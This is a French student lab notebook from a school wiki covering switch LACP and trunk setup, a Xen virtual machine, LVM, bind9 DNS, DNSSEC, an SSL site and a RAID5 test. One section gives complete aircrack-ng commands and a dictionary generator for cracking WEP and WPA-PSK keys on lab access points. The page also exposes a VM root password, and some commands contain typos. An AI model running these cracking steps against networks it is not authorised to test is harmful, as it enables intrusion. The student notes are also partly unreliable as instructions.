Cahier 2016 groupe n°4 : Différence entre versions

De Wiki d'activités IMA
Ligne 555 : Ligne 555 :
 
9.La dernière étape est de rajouter la clé ksk dans gandi.net
 
9.La dernière étape est de rajouter la clé ksk dans gandi.net
 
[[Fichier:gandi1.png|thumb|left|600xp|sécurisation par gandi]]
 
[[Fichier:gandi1.png|thumb|left|600xp|sécurisation par gandi]]
[[Fichier:gandi2.svg|thumb|left|600xp|sécurisation par gandi]]
+
[[Fichier:gandi2.png|thumb|left|600xp|sécurisation par gandi]]
  
 
<h2>Partie VIII - Réalisations  </h2>
 
<h2>Partie VIII - Réalisations  </h2>

Version du 8 décembre 2016 à 09:23

Plan des séances

Séance 1 (03/10) Connaissances du TP/ Recherche des informations de LACP/ Familiarisation avec des équipements
Séance 2 (10/10) Installation de la machine virtuelle/ Configuration des commutateurs en LACP
Séance 3 (13/10) Configuration des switchports en mode trunk/ Mettre des commutateurs dans la salle technique
Séance 4 (24/10) Câblages des commutateurs dans la salle locale technique/ Création des LVM
Séance 5 (07/11) Tests d'intrusion/ Services Internet
Séance 6 (14/11) Tests d'intrusion (Cassage de mot de passe WPA-PSK par force brute)
Séance 7 (28/11)
Séance 8 (12/12)

Partie I - Réalisation en monome : LACP

a) Travail à effectuer

TP global

Travail principal: Dans un premier temps mon travail principal c'est de faire la connexion entre la salle E306,E304 et mon propre commutateur. Ensuite il faut connecter mon commutateur avec le commutateur de l'école.

b) Les matériels nécessaires

c) Le fonctionnement

Dans les images, on peut voir qu'il y deux genres de câbles.Les câbles en rouges sont pour la salle E306 et la salle E304, les câbles en bleus sont pour l'école. Pour communiquer avec mon commutateur il faut brancher les câbles en rouges sur mon commutateur. Ensuite, pour connecter mon commutateur au commutateur de l'école il faut un autre câble. Le LC et le SC sont des adaptateurs.

d) La recherche du LACP

LACP (Link Aggregation Control Protocol) est un protocole de niveau 2 du modèle OSI qui permet de grouper plusieurs ports physiques en une seule voie logique. La norme décrit l'utilisation de multiples câbles réseau Ethernet ou un port parallèle pour augmenter la rapidité du lien au-delà des limites d'un câble ou d'un seul port, et d'accroître la redondance pour une plus grande disponibilité.

Fonctionnement du LACP


Partie II - Réalisation de la machine virtuelle

Pour réaliser une machine virtuelle il faut taper la commande comme suit:

     xen-create-image --hostname=Mulan --ip=193.48.57.164 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen
                      --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie

Une fois que ma machine virtuelle est crée j'ai eu des informations comme ci-dessous:

     Hostname                 :       Mulan
     Distribution             :       jessie
     MAC Address              :       00:16:3E:20:B9:4F
     IP Address(es)           :       193.48.57.164
     RSA Fingerprint          :       ae:b1:59:03:ad:d1:ac:3b:13:df:fe:94:0a:3b:81
     Root Password            :       EZ5VWgMP

Ensuite avec la commande ls /etc/xen j'arrive à visualiser les machines crées sur xen

      Batman.cfg             Gringe.cfg          Orelsa.cfg            xend-config.sxp
      Deadpool.cfg           Kdoc.cfg            Pnl.cfg               xl.conf
      Flash.cfg              Lartiste.cfg        scripts               xlexample.hvm
      Gradur.cfg             Mulan.cfg           Vald.cfg              xlexample.pvlinux

Après j'ai lancé la commande

      xl create -c /etc/xen/Mulan.cfg

Cette commande est pour visualiser le fichier de ma machine virtuelle Mulan, ici:

      xl --------  Gérer la machine virtuelle
      create ----- Démarrer la machine virtuelle
      -c --------  Avoir la console

Il faut changer certains paramètres de ma machine virtuelle, donc avec vi j'ai accédé à mon fichier. Après les changements, j'ai eu un fichier comme montré:

      #
      # Kernel
      #
      Kernel  = '/boot/vmlinuz-3.14-2-amd64'
      extra   = 'elevator = noop'
      ramdisk = '/boot/initrd.img-3.14-2-amd64'
      vcpus   = '1'
      memory  = '512'
      #
      # Disk device(s)
      #
      root = '/dev/xvda2 ro'
      disk = [
                      'file:/usr/local/xen/domains/Mulan/disk,img,xvda2,w',
                      'file:/usr/local/xen/domains/Mulan/swap,img,xvda1,w',
             ]
      #
      # Hostname
      #
      name = '/Mulan'
      #
      # Networking
      #
      vif = [ 'mac = 00:16:3E:20:139:4F, bridge = IMA5sc' ]
      #
      # Behavior
      #
      on_poweroff = 'destroy'
      on_reboot   = 'restart'
      on_crash    = 'restart'

Pour changer le mot de passe il faut taper passwd

Partie III - Configuration des commutateurs en mode LACP

a) Travail à effectuer

Principal travail: Dans cette parties il faut que je configures deux commutateurs dans le mode LACP avant que je les branche. Ensuite il faut qu'ils soient reliés par des câbles pour voir s'ils peuvent communiquer ou pas.

Deux commutateurs

b) La configuration

      Switch>            enable
      Switch#            configure terminal
      Switch(config) #   interface port-channel 1
      Switch(config-if)# interface g1/0/1
      Switch(config-if)# no ip address
      Switch(config-if)# channel-group 1 mode active
      Switch(config-if)# exit
      Switch(config)#    interface g1/0/2
      Switch(config-if)# no ip address
      Switch(config-if)# channel-group 1 mode active
      Switch(config-if)# end
      Switch#            write

Petits rappels:

      port-channel -------- interface virtuelle
      show int summary ---- savoir les informations des ports et vlans du commutateur
      10 ports ont été configurés ---- de g1/0/1 à g1/0/10
      il ne faut surtout pas oublier le write ! ---- enregistrer toutes les configurations

Les memes commandes pour configurer l'autre commutateur sauf que le numéro des ports sont de g0/1 à g0/10.Comme l'autre commutateur est déjà configuré donc avant que j'ai commencé le configurer j'ai supprimé toutes les informations dedans avec no vlan x Une fois que les configurations sont faites, j'ai lié ces deux commutateurs par des câbles internet.

Lier les commutateurs

c) Test

Pour voir si les ports sont bien connecté avec l'interface virtuelle ou pas il faut faire la commande

      sh int port-channel

Et j'ai eu un ecran comme suit

   Port-channel1 is up, line protocol is up (connected)
      Hardware is EtherChannel, address is 4c4e.355e.b901 (bia 4c4e.355e.b901)
      MTU 1500 bytes, BW 8000000 Kbit, DLY 10 usec,
         reliability 255/255, txload 1/255, rxload 1/255
      Encapsulation ARPA, loopback not set
      Keepalive set (10 sec)
      Full-duplex, 1000Mb/s, link type is auto, media type is unknown
      input flow-control is off, output flow-control is unsupported 
      Members in this channel: Gi0/1 Gi0/2 Gi0/3 Gi0/4 Gi0/5 Gi0/6 Gi0/7 Gi0/8 
      ARP type: ARPA, ARP Timeout 04:00:00
      Last input 00:00:00, output 00:13:18, output hang never
      Last clearing of "show interface" counters never
      Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0
      Queueing strategy: fifo
      Output queue: 0/40 (size/max)
      5 minute input rate 1000 bits/sec, 2 packets/sec
      5 minute output rate 0 bits/sec, 0 packets/sec
          1583 packets input, 166045 bytes, 0 no buffer
          Received 1082 broadcasts (1082 multicasts)
          0 runts, 0 giants, 0 throttles
          0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
          0 watchdog, 1082 multicast, 0 pause input
          0 input packets with dribble condition detected
          1187 packets output, 148752 bytes, 0 underruns
          0 output errors, 0 collisions, 1 interface resets
          0 babbles, 0 late collision, 0 deferred
          0 lost carrier, 0 no carrier, 0 PAUSE output
          0 output buffer failures, 0 output buffers swapped out

Par ces informations je peux bien savoir que mon interface virtuelle est en mode active et il y a que 8 ports qui sont pris en compte.

Les lumières du commutateur

Même par les lumières du commutateur, 8 ports sont en vert et 2 ports sont en orange. Pourquoi?Parce que LACP permet un maximum de 16 ports dont 8 actifs.(voir la référence) Pour voir toutes les informations de port-channel 1 il y a une commande

sh lacp 1 internal

Avec cette commande je peux visualiser tous les ports qui marchent sur cette interface virtuelle.

Channel group 1
                            LACP port     Admin     Oper    Port        Port
Port      Flags   State     Priority      Key       Key     Number      State
Gi1/0/1   SA      bndl      32768         0x1       0x1     0x102       0x3D  
Gi1/0/2   SA      bndl      32768         0x1       0x1     0x103       0x3D  
Gi1/0/3   SA      bndl      32768         0x1       0x1     0x104       0x3D  
Gi1/0/4   SA      bndl      32768         0x1       0x1     0x105       0x3D  
Gi1/0/5   SA      bndl      32768         0x1       0x1     0x106       0x3D  
Gi1/0/6   SA      bndl      32768         0x1       0x1     0x107       0x3D  
Gi1/0/7   SA      bndl      32768         0x1       0x1     0x108       0x3D  
Gi1/0/8   SA      bndl      32768         0x1       0x1     0x109       0x3D  
Gi1/0/9   SA      hot-sby   32768         0x1       0x1     0x10A       0x5   
Gi1/0/10  SA      hot-sby   32768         0x1       0x1     0x10B       0x5   

Partie IV - Configurations des switchports en mode trunk

a) Travail à effectuer

Principal travail: Dans cette séance il faut configurer les switchports en mode trunk ensuite il faut installer les commutateurs dans l'armoire.

b) Configurations des switchports

Pour configurer les switchports il faut utiliser les commandes en bas

Switch#configure terminal
Switch(config)#interface XXX                                                
Switch(config-if)#switchport mode trunk                                         
Switch(config-if)#switchport trunk encapsulation dot1q                          
Switch(config-if)#exit   

Dans mon cas, les interfaces que j'ai configurées sont

Te1/0/1 Te1/0/2 TenGigabitEthernet1/1 TenGigabitEthernet1/2

Pour voir si les switchports ont été bien configuré ou pas il faut taper

sh run

Ensuite sur le console j'ai eu des informations comme suit

interface TenGigabitEthernet1/0/1                                               
 switchport trunk encapsulation dot1q                                           
 switchport mode trunk                                                          
!                                                                               
interface TenGigabitEthernet1/0/2                                               
 switchport trunk encapsulation dot1q                                           
 switchport mode trunk                                                          
!                   

Les ports sont bien configurés.

c) Installations des commutateurs

Après la configurations des commutateurs il faut les installer dans la salle technique.

L'installation des commutateur

Partie V - Câblages et créations des LVM

a) Travail à effectuer

Principal travail: Pour que tous les paquets puissent passer par mes commutateurs, il faut mettre des câbles entre les commutateurs de la salle E304 et la salle E306 et mes commutateurs configurés en mode LACP. Ensuite il faut créer des LVM.

b) Câblages des commutateurs

c) Créations des LVM

Pour créer le LVM il faut taper la commande

lvcreate -L 10G -n /dev/virtual/ima5-Mulan-var -v
lvcreate -L 10G -n /dev/virtual/ima5-Mulan-home -v

Ensuite il faut compléter le fichier Mulan.cfg

'phy:/dev/spool1/mail-spool,xvdb1,w',
'phy:/dev/spool2/mail-backup,xvdc1,w'

Pour visualiser la réussite de la création de LVM, il faut utiliser la commande fdisk -l et j'ai sur le console j'ai eu

Disk /dev/xvda2: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/xvda1: 128 MiB, 134217728 bytes, 262144 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/xvdb1: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/xvdc1: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

Donc j'ai choisit xvdb1 pour home et xvdc1 pour var. Ensuite j'ai modifié le fichier /etc/fstab en rajoutant

/dev/xvdb1 /home ext4 defaults 0 2
/dev/xvdc1 /var  ext4 defaults 0 3

Après il faut lancer la commande

mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdc1

Ces deux commandes permettent de créer un ext4 fichier sur une partition d'un système. Mais avant d'exécuter mount a pour var, il faut d'abord déplacer les fichiers existants dans un autre répertoire mnt.

mount /dev/xdbc1 /mnt
cd /var
mv /mnt
unmont /mnt

Petit Rappel

The mount command mounts a storage device or filesystem, making it accessible and attaching it to an existing directory structure.
The umount command "unmounts" a mounted filesystem, informing the system to complete any pending read or write operations, and safely detaching it.


Partie VI - Tests d'intrusion

a) Travail à effectuer

Principal travail: Dans cette section il faut tester les méthodes de sécurisation du WIFI

b) Cassage de clef WEP d'un point d'accès Wifi

Le travail réalisé dans cette partie est sur un eeePC. Dans un premier temps, il faut installer le paquetage aircrack-ng sur eeePC avec la commande

apt-get install aircrack-ng

Ensuite pour passer la carte WIFI en mode monitor, il faut taper la commande

airmon-ng start wlan3

En même temps une interface mon0 est crée, cette interface est la même que le wlan3 sauf qu'elle est en mode monitor. Son rôle est d’écouter toutes les trames qui passent les interfaces. Pour trouver les informations plus précisés de cette interface de monitor, avec l'aide de la commande

airodump-ng mon0

J'obtiens

BSSID                 PWR    Beacons    #Data,   #/s    CH     MB      ENC     CIPHER    AUTH      ESSID
00:12:D9:B7:E7:D0     -77          3        0      0    12     54e.    WPA2    CCMP      MGT       <length: 1>
C8:00:84:84:00:54     -79         15        0      0     9     54e.    WPA2    CCMP      MGT       PolytechLille

Pour surveiller les réseaux WIFI, il faut lancer

airodump-ng -w manchot -c 13 --bssid 04:DA:D2:9C:50:54 mon0

Petit Rappel

-w permet de créer un fichier de capture dans lequel seront enregistrés tous les paquets.
-c permet de cibler l'écoute sur un canal wifi particulier. 
--bssid permet de ne cibler qu'un seul point d'accès en fonction de son adresse mac. 

Quatre fichiers manchots sont crées

manchot-01.cap    manchot-01.csv    manchot-01.kismet.csv    manchot-01.kismet.netxml

Finalement il faut lancer l'algorithme de craquage de la clef WEP

aircrack-ng manchot-01.cap

Sur mon shell, j'obtiens

Aircrack-ng 1.2 beta3


                 [00:00:00] Tested 782 keys (got 276993 IVs)

   KB    depth   byte(vote)
    0    0/ 15   EE(374528) 78(301568) 0B(298752) 11(296960) 87(294656)
    1    0/  2   46(383488) A8(300544) 6D(297216) FF(295680) 25(295168)
    2    9/  2   C3(291840) 28(290304) 85(290048) F7(290048) 19(289792)
    3    6/  3   D4(294400) 30(294144) 94(294144) BD(294144) 14(293632)
    4    0/  1   1F(383488) 3F(296960) A8(296960) 83(296192) 1A(295936)

             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44 ]
    Decrypted correctly: 100%

c) Cassage de mot de passe WPA-PSK par force brute

Pour cette partie, il faut reprendre les étapes pour la cassage de clef WEP d'un point d'accès Wifi. Mais il faut créer un dictionnaire pour toutes les possibilités de la clef WPA qui est un nombre sur 8 chiffres. Le code pour la dictionnaire est

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
  int i;
  for (i=0; i<1000000; i++)
  {
    printf("%08d\n",i);
  }
  return 0;
}

Ensuite il faut lancer la commande

aircrack-ng -w dictionnaire record-01.cap

Donc j'ai eu

 # BSSID                   ESSID                       Encryption
 1 04:DA:D2:9C:50:52       cracotte03                  WPA (1 handshake)
Choosing first network as target.

Opening record-01.cap
Reading packets, please wait...
                               Aircrack-ng 1.2 beta3
          
                   [00:57:58] 12399908 keys tested (3650.27 k/s)

                           KEY FOUND! [ 12399903 ]
     
         Master Key    : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87
                         40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93
   
         Transient Key : 86 B4 17 90 2B BE 9E CA 9A 5E 59 D7 F4 D9 94 A7
                         AE 0D 63 1C 83 3B 48 C4 FF 01 C4 85 4B 32 7F C0
                         9A CE DC 63 D6 3A 72 16 1E BE E4 CE 5D 1C B1 3D
                         1F 91 A1 F5 F4 1A 50 17 B9 55 0F 9F D4 3B 94 BD

         EAPOL HMAC    : B3 F0 FA 27 2F E6 2E A4 73 F9 55 14 C7 4A 72 E0 

Partie VII - Services Internet

a) Travail à effectuer

Principal travail: Dans cette partie il faut réaliser un site Web sécurisé

b) Serveur DNS

Sur le registrar Gandi, j'ai réservé un nom DNS mulan.website sur Gandi. Ensuite il faut installer bind9 sur le serveur virtuel xen pour donner les adresses correspondant à mon nom de réseau IP, au nom de mon interface de routeur, au nom de ma machine et au nom de l'adresse de diffusion de mon réseau IP. Dans mon répertoire /etc/bind j'ai rajouté un fichier de description de zonedb.mulan.website

; TTL (Time To Live)
$TTL	604800

; Informations générales
@	IN	SOA	ns.mulnan.website. root.mulan.website. (
			12		; Serial
			604800		; Refresh
			86400		; Retry
			2419200		; Expire
			604800  )	; Negative Cache TTL
;

	IN	NS	ns6.gandi.net.
	IN	NS	ns.mulan.website.
        IN      NS      100 ns.mulan.website.

ns	IN	A	193.48.57.164
www	IN	A	193.48.57.164

Petit Rappel

Les dernières 4 lignes sont les détails du domaine,de ses sous-domaines,etc.C'est là qu'on fait notamment l'association entre l'IP et le nom de domaine.

Dans le fichier named.conf.local il faut rajouter

zone "mulan.website"{
	type master;
	allow-transfer {193.48.57.170;} ;
	file "/etc/bind/db.mulan.website";
};

Attention

L'adresse dans allow-transfer doit être l'adresse du serveur esclave.

Ensuite pour tester si cela marche ou pas il faut taper les commandes

--service bind9 restart
--cat /var/log/daemon.log
--host ns.mulan.website 127.0.0.1

J'obtiens

Using domain server:
Name: 127.0.0.1
Address: 127.0.0.1#53
Aliases: 

ns.mulan.website has address 193.48.57.164

Je peux conclure que nom DNS correspond bien à mon adresse IP 193.48.57.164

c) Sécurisation de site web par certificat

Le travail a été réalisé sur Mulan, il faut générer un CSR afin d'activer la SSL Certification. Pour réussir cela, il faut taper la commande

openssl req -nodes -newkey rsa:2048 -sha256 -keyout mulan1.key -out mulan1.csr

Après la création des clefs et le CSR, j'ai obtenu mon certificat SSL sur Gandi. Ensuite j'ai configuré apache2 pour gérer du HTTPS sur le port 443. Pour réussir cela, j'ai crée un fichier mulan.conf.

<VirtualHost *:443>   
  ServerName mulan.website
  ServerAlias www.mulan.website
  DocumentRoot /var/www/mulan
  SSLEngine on
  SSLCertificateFile "/etc/apache2/mulan.crt"
  SSLCertificateKeyFile "/etc/apache2/mulan.key"
  SSLCertificateChainFile "/etc/apache2/gandi.crt"
</VirtualHost>

<VirtualHost *:80>
  ServerName mulan.website
  ServerAlias www.mulan.website
  DocumentRoot /var/www/mulan
</VirtualHost>

Ensuite j'ai créé une page index.html dans /var/www/mulan

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<HTML>
 <HEAD>    
  <TITLE>Mulan</TITLE>
 </HEAD>
  
 <BODY>   
   
   L'une des plus belles filles du monde!
   <p style="text-align:center;"><img src="mulan.jpg"/></p>
    
     </BODY>
</HTML>   

Donc le https://www.mulan.website donne

L'installation des commutateur

d) Sécurisation de serveur DNS par DNSSEC

L'objectif de cette partie est de sécuriser mon serveur DNS en signant la zone correspondant à mon nom de domaine. Pour réussir cela, il faut certaines étapes. 1.Dans /etc/bind/named.conf.options,j'ai ajouté

dnssec-enable yes;

2.Ensuite j'ai crée un répertoire mulan.website.dnssec pour gérer tous les clefs dans /etc/bind

mkdir mulan.website.dnssec

3.J'ai crée la clef asymétrique de signature de clefs de zone

dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE mulan.website

4.Pour créer la clef asymétrique de la zone pour signer les enregistrement, il faut

dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE mulan.website

5.J'ai renommé les clefs dans mon répertoire mulan.website.dnssec

root@Mulan:/etc/bind/mulan.website.dnssec# ls -l
total 20
-rw-r--r-- 1 root bind  171 Dec  7 18:56 dsset-mulan.website.
-rw-r--r-- 1 root bind  609 Dec  7 18:54 mulan.website-ksk.key
-rw------- 1 root bind 1774 Dec  7 18:54 mulan.website-ksk.private
-rw-r--r-- 1 root bind  435 Dec  7 18:55 mulan.website-zsk.key
-rw------- 1 root bind 1010 Dec  7 18:55 mulan.website-zsk.private

6.Dans mon fichier /etc/bind/db.mulan.website, il faut inclure les clefs publiques et incrémenter le numéro de version de la zone

$include /etc/bind/mulan.website.dnssec/mulan.website-ksk.key
$include /etc/bind/mulan.website.dnssec/mulan.website-zsk.key

7.Après il faut signer les enregistrements de la zone

dnssec-signzone -o mulan.website -k mulan.website-ksk ../db.mulan.website mulan.website-zsk

8.Ensuite il faut modifier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed

 zone "mulan.website"{
	type master;
	allow-transfer {193.48.57.170;217.70.177.40;} ;
	file "/etc/bind/db.mulan.website.signed";
};

9.La dernière étape est de rajouter la clé ksk dans gandi.net

sécurisation par gandi
sécurisation par gandi

Partie VIII - Réalisations

a) Travail à effectuer

Principal travail: Dans cette section il faut sécuriser un réseau Wifi, faire transiter des flux vidéos via UPnP et installer un auto-commutateur téléphonique logiciel.

a) Sécurisation de données

J'ai commencé par créer trois partitions LVM de 1Go

lvcreate -L 1G -n /dev/virtual/Mulan-raid1 -v
lvcreate -L 1G -n /dev/virtual/Mulan-raid2 -v
lvcreate -L 1G -n /dev/virtual/Mulan-raid3 -v

Ensuite j'ai rajouté trois lignes dans mon fichier /etc/xen/Mulan.cfg

'phy:/dev/virtual/Mulan-raid1,xvdd1,w',
'phy:/dev/virtual/Mulan-raid2,xvde1,w',
'phy:/dev/virtual/Mulan-raid3,xvdf1,w',

Pour utiliser la commande mdadm, il faut d'abord installer le paquetage

apt-get install mdadm

Il faut faut entrer cette commande pour charger le module MD-subsystem

apt-get install linux-image-3.16.0-4-amd64

Après je peux créer volume /dev/md0 grâce à la commande suivante

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1

Pour visualiser la statue de kernel md

cat /proc/mdstat

J'ai eu

md0 : active raid5 xvdf1[2] xvde1[1] xvdd1[0]
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]
      
unused devices: <none>

Ensuite il faut mounter

mount /dev/md0 /mnt

Sur le console, j'ai eu

mount: wrong fs type, bad option, bad superblock on /dev/md0,
       missing codepage or helper program, or other error

       In some cases useful info is found in syslog - try
       dmesg | tail or so.

Ensuite j'ai crée un fichier système

root@Mulan:~# mkfs -t ext4 /dev/md0
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 523776 4k blocks and 131072 inodes
Filesystem UUID: 6148741b-9ebd-4ccc-8581-af7bbe3fea3c
Superblock backups stored on blocks: 
    32768, 98304, 163840, 229376, 294912

Allocating group tables: done                            
Writing inode tables: done                            
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done 

Après il faut le mounter

root@Mulan:~# mount /dev/md0 /mnt
[17819.221864] EXT4-fs (md0): mounted filesystem with ordered data mode. Opts: (null)
Pour afficher la valeur d'espace disque disponible des systèmes de fichier dont l'utilisateur possède l'accès en lecture, il faut une commande .df
root@Mulan:/mnt# df .
Filesystem     1K-blocks  Used Available Use% Mounted on
/dev/md0         2029392  3072   1905184   1% /mnt

Pour montrer l'espace disque libre listé en format lisible pour l'homme, c'est-à-dire avec le Système_international_d'unités

root@Mulan:/mnt# df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/xvda2      3.9G  718M  3.0G  20% /
udev             10M     0   10M   0% /dev
tmpfs            50M   88K   50M   1% /run
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           125M     0  125M   0% /run/shm
/dev/xvdb1      9.8G   23M  9.2G   1% /home
/dev/xvdc1      9.8G  246M  9.0G   3% /var
/dev/md0        2.0G  3.0M  1.9G   1% /mnt

Ensuite j'ai copié le fichier /boot/vmlinuz-3.16.0-4-amd64 .

root@Mulan:/mnt# cp /boot/vmlinuz-3.16.0-4-amd64 .

Après j'ai mit ma partition xvde1 en mode Faulty

root@Mulan:~# mdadm --set-faulty /dev/md0 /dev/xvde1
[17884.887698] md/raid:md0: Disk failure on xvde1, disabling device.
[17884.887698] md/raid:md0: Operation continuing on 2 devices.
mdadm: set /dev/xvde1 faulty in /dev/md0

Pour vérifier dans mon fichier

root@Mulan:~# cat /proc/mdstat 
Personalities : [raid6] [raid5] [raid4] 
md0 : active raid5 xvdf1[2] xvde1[1](F) xvdd1[0]
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]
      
unused devices: <none>

J'ai bien vu que ma partition xvde1 a changé sa mode en Faulty. Pour voir comment le raid marche, j'ai fait un remove et add

root@Mulan:~# mdadm --remove /dev/md0 /dev/xvde1
[17940.265360] md: unbind<xvde1>
[17940.265378] md: export_rdev(xvde1)
mdadm: hot removed /dev/xvde1 from /dev/md0
root@Mulan:~# mdadm --add /dev/md0 /dev/xvde1
[17946.741301] md: export_rdev(xvde1)
[17946.774588] md: bind<xvde1>
mdadm: added /dev/xvde1
root@Mulan:~# [17946.799645] md: recovery of RAID array md0
[17946.799650] md: minimum _guaranteed_  speed: 1000 KB/sec/disk.
[17946.799653] md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for recovery.
[17946.799658] md: using 128k window, over a total of 1047552k.

Donc dans mon fichier du système, j'ai vu la statue a été changée

root@Mulan:~# cat /proc/mdstat 
Personalities : [raid6] [raid5] [raid4] 
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]
      [=>...................]  recovery =  9.6% (101696/1047552) finish=0.4min speed=33898K/sec
      
unused devices: <none>
root@Mulan:~# cat /proc/mdstat 
Personalities : [raid6] [raid5] [raid4] 
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]
      [=====>...............]  recovery = 29.2% (306320/1047552) finish=0.4min speed=30632K/sec
      
unused devices: <none>
root@Mulan:~# cat /proc/mdstat 
Personalities : [raid6] [raid5] [raid4] 
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]
      [===========>.........]  recovery = 55.2% (578592/1047552) finish=0.2min speed=30452K/sec
      
unused devices: <none>
root@Mulan:~# [17982.504053] md: md0: recovery done.

La partition xvde1 a été bien réparé.

Problème Rencontré

Dans ce TP, un moment donné, j'arrivais pas à faire le ping à un routeur par ma machine virtuel. Le problème était que le routeur de l'école n'était pas sur le vlan 130. Donc les paquets ne pouvaient pas passer. Voici un schéma pour expliquer comment ca marche.

Routage

Références

Configurations Guide: http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3650/software/release/3se/layer2/configuration_guide/b_lay2_3se_3650_cg/b_lay2_3se_3650_cg_chapter_0101.html#task_1275918

Configurations Guide LACP: http://www.cisco.com/c/en/us/td/docs/ios/12_2sb/feature/guide/gigeth.html#wp1087351

LACP: https://fr.wikipedia.org/wiki/IEEE_802.3ad